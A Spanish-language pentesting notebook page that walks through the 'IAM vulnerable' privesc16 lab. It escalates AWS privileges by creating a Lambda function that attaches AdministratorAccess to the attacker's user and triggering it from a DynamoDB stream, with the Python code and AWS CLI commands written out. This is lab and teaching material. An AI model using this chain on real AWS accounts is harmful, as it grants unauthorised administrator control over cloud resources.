💻
My Personal Hacking Path
  • 👓Wellcome
    • My Personal Hacking Path
      • Whoami
  • 📚Mi Metodología de Pentesting
    • Tipos de evaluaciones
      • El día a día en pentesting
    • Metodología Propia
      • OWASP
      • OSSTMM
      • PTES
      • CEH Hacking Metodology (CHM)
      • Cyber Kill Chain
      • MITRE Att&ck
    • Fase 0 - Pre Evalaución
    • Fase 1 - Reconocimiento
      • Web / Host
      • SubDominios
      • Descubrimiento de correos electrónicos
      • Escaneo de Puertos
      • Credenciales y brechas de seguridad
      • ¿Sin Ideas?
    • Fase 2 - Explotación
      • Shells
        • Diferencia entre una WebShell y Reverse Shell
      • Payload
      • Network Penetration Services
        • 20|21 - FTP
        • 22 - SSH
        • 139|445- SMB
        • 80|443 - HTTP/HTTPS
    • Fase 3 - Post Explotación
      • Enumeración
      • Linux
        • Enumeración
        • Privilege Escalation
      • Windows
        • Revershell
        • Windows Enum
        • Privilege Escalation
    • Fase 4 - Reporting
      • CVSS
        • v4.0
      • Toma de notas
  • 👾Malware
    • Malware DevOps
    • Arquitectura de Windows
      • Windows API
      • Procesos de Windows
      • Estructuras no documentadas
    • PE
      • DLL
    • Almacenamiento del Payload
      • .data & .rdata
      • .text
      • .rsrc
    • Cifrado de Payload
      • XOR
      • RC4
      • AES
    • Ofuscación de Payload
      • IPv4/IPv6Fuscation
      • MACFucscation
      • UUIDFuscation
    • Process Injectión
      • DLL Injection
      • Shellcode Injection
      • APC Injection
  • 🌐Web-Pentesting
    • Metodología para Pentesting Web
    • Footprinting
      • Identificación Tecnologías web
        • WordPress
        • Joomla
        • Drupal
        • Magento
      • Fuzzing
      • Validación de los certificados
    • Vulnerabilidades comunes
      • File Upload
      • SQL Injection
      • Cross-site scripting
      • XXE Injection
      • LFI - Local File Inclusion
        • Log Poisoning
      • RFI - Remote File Inclusión
      • CSRF - Cross-Site Request Forgery
      • SSRF - Server-Side Request Forgery
      • SSTI - Server-Side Template Injection
      • CSTI - Client-Side Template Injection
      • Padding Oracle Attack
      • NoSQL Injection
      • LDAP Injection
    • Laboratorios
  • ☁️AWS Pentesting
    • Introducción a Amazon Web Services AWS
    • Acceso Inicial
    • IAM
      • Políticas de IAM
      • Enumeraciones
      • Privesc-Paths
        • Permisos de IAM
        • Permisos sobre políticas
        • AssumeRolePolicy Update
        • IAM:PassRole*
          • PassExistingRoleToCloudFormation
    • S3
      • Enumeración
      • S3_public
      • OSINT
    • Lambda
      • Enum Lambda
      • Enum API Gateway
      • Privesc-Paths
        • RCE sobre Lambda
        • PassExistingRoleToNewLambdaThenInvoke
        • PassRoleToNewLambdaThenTrigger
        • EditExistingLambdaFunctionWithRole
    • EC2
      • Enumeración
      • Privesc-Paths
        • EC2_SSRF
        • CreateEC2WhithExistingIP
        • PassExistingRoleToNewGlueDevEndpoint
        • ECS_takeover
    • VPC
      • Enumeración
      • PivotingInTheCloud
    • Bases de Datos
      • RDS
        • Enumeración
      • DynamoDB
        • Enumeración
    • ECS
      • Enum ECR
      • Enum ECS
      • Enum EKS
    • AWS Secrets Manager
      • Enumeración
    • Análisis de vulnerabilidades Automatizado
    • Blue Team AWS
      • CloudTrail
      • CloudWatch
      • GuardDuty
      • AWS Inspector
      • AWS Shield
      • Web Application Firewall
    • Notas
      • Terraform
  • 🔫Red_Team
    • Introducción a Red Team
      • Assume breach
    • ¿Qué es MITRE ATT&CK?
      • Guia de uso de Invoke-AtomicRedTeam
    • C2 Comando y control
      • Sliver C2
        • Instalación
        • Beacons y Sesiones
        • Perfiles
        • mTLS y WiewGuard
        • HTTP / HTTPS
        • DNS
        • Stagers: Basics
        • Stagers: Proccess Injection
        • Basics de Implates
        • Ejecución de Assembly
        • Sideload
        • SpawnDLL
        • Sliver Extensions
  • 💾Active Directory
    • Teoria
      • Componentes Físicos
      • Componentes Lógicos
      • GPO VS ACL
      • Kerberos
        • Funcionamiento de Kerberos
      • Usuarios por defecto
    • Enumeraciones
      • ¿Por qué enumerar?
      • Enumeración manual
      • Enumeración con PowerView
    • Ataques en AD
      • Mimikats
        • Comandos
      • Password Spraying
      • LLMNR Poisoning
      • Relay Attacks
        • NTLM
      • Kerberoasting
    • Tools
      • AuxRecon
      • Powershell
      • PowerView.ps1
      • ADPeas
      • Mimikatz
        • Comandos
    • AD Lab
  • 🌩️Azure Coud Pentesting
    • Introducción a Azure y Office 365
    • Introducción a Microsoft Indentity Services
    • Enumeración
    • Azure Files
      • Encontrar Fuga de Datos
    • Microsoft Graph
    • Notas
  • 📱Mobile Pentesting
    • Análisis de Aplicaciones Móviles en MobSF
    • ¿Cómo interceptar tráfico de una aplicación Flutter Android con Burp?
  • 📶Wireless
    • Terminología
    • Tipos de Wireless Networks
    • Formas de Autenticación
    • Cifrados
      • WEP
      • WPA
      • WPA2
      • WPA3
    • Ataques
  • 😎Extras
    • Docker
      • Port Forward y volúmenes
      • Docker Compose
      • Container Breakouts
    • Comandos Utiles
    • Fliper Zero
    • Páginas útiles
  • Kali Set Up
Con tecnología de GitBook
En esta página
  • Laboratorio
  • Configuración Inicial
  • Explotación
  1. AWS Pentesting
  2. Lambda
  3. Privesc-Paths

PassRoleToNewLambdaThenTrigger

Lab: IAM vulnerable

AnteriorPassExistingRoleToNewLambdaThenInvokeSiguienteEditExistingLambdaFunctionWithRole

Última actualización hace 1 año

Laboratorio

En este apartado se observará el ejemplo utilizando el laboratorio IAM vulnerable con el escenario privesc16. En este caso de explotación, el usuario de pruebas no tiene los permisos de invocar funciones lamba, solo mapear triggers a otro evento, en este caso a DynamoDB, por lo cual requiere que otro usuario actualice o que la base de datos se actualice para que funciones este caso de explotación.

Un atacante con los permisos iam:PassRole , lambda:CreateFunction y lambda:CreateEventSourceMapping (y posiblemente dynamodb:PutItem y dynamodb:CreateTable), pero sin el permiso lambda:InvokeFunction, puede escalar privilegios creando una nueva función de Lambda y conectándola a una tabla de DynamoDB. Posteriormente, cuando se inserta una nueva fila en la tabla, la función Lambda ejecuta un código que aumenta los privilegios del usuario.

Configuración Inicial

Usuario del laboratorio: privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user con las políticas:

La cuenta de AWS debe contener un rol existente que incluya los permisos:

  • iam:AttachUserPolicy

  • dynamodb:GetRecords

  • dynamodb:GetShardIterator

  • dynamodb:DescribeStream

  • dynamodb:ListStreams

y las funciones de Lambda deben tener permitido asumir este rol.

La cuenta de AWS también necesita tener una tabla DynamoDB habilitada para transmisión.

Alternativamente, si no existe una tabla DynamoDB, este método de escalada de privilegios aún puede funcionar si el atacante tiene el permiso dynamodb:CreateTable.

Posterior mente generar llaves e acceso desde cuenta administrador para interactuar con el usuario en AWS CLI y configurar un perfil para el usuario privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user

Al momento de configurar el perfil, se tiene que tomar en cuenta la región, que sea la misma donde se encuentra la Base Dynamodb,

Explotación

En este escenario, se tiene que aprovechar del privilegio de lambda:CreateFunction para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

La función lambda en Python es la siguiente:

code.py
import boto3
def lambda_handler(event, context):
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName='privesc16- PassRoleToNewLambdaThenTriggerWithNewDynamo-user',
	PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response

Para subir el archivo con el permiso lambda:Createfunction es necesario comprimir el archivo en formato zip con el nombre function.zip, después ejecutar el siguiente comando:

aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/privesc-high-role-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-1 --profile privesc16

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de lambda:CreateEventSourceMapping para vincular nuestra función a cualquier evento que ocurra sobre una DynamoDB. En otras palabras, es necesario que en el ambiente que estemos auditando exista una tabla de DynamoDB.

aws lambda create-event-source-mapping --function-name privesc --event-source-arn arn:aws:dynamodb:us-east-1:037572360634:table/Vulnerable/stream/2022-0608T00:18:02.839 --enabled --starting-position LATEST --region us-east-1 --profile privesc16

Dado que el usuario actual no tiene ningún permiso de DynamoDB, no es posible cargar una nueva fila y desencadenar el exploit. En su lugar, el atacante debe esperar a que otro usuario o un servicio actualice la tabla.

Uso de usuario alterno

Cuando otro usuario cambie, actualice o elimine datos de la base de DynamoDB, se ejecutará el trigger del lambda, a continuación se ejecutara un comando que actualiza la tabla simulando ser otro usuario AWS

aws dynamodb put-item --table-name privesc16 --item ‘{“test”:{“S”:”whatever”}}’
--region us-west-2

La acción en la tabla de DynamoDB hizo que se ejecutara la función Lambda vinculada, lo que aumentó los permisos del atacante: este método de escalada de privilegios es más fácil si el atacante también tiene los permisos dynamodb:CreateTable y dynamodb:PutItem, porque entonces el atacante puede crear una tabla de DynamoDB adecuada y cargar un elemento para activar el exploit.

☁️
Investigating Privilege Escalation Methods in AWSBishop Fox
Lab: IAM - Vulnerable | Escenario: privesc16
Logo
Elevación de privilegios exitosa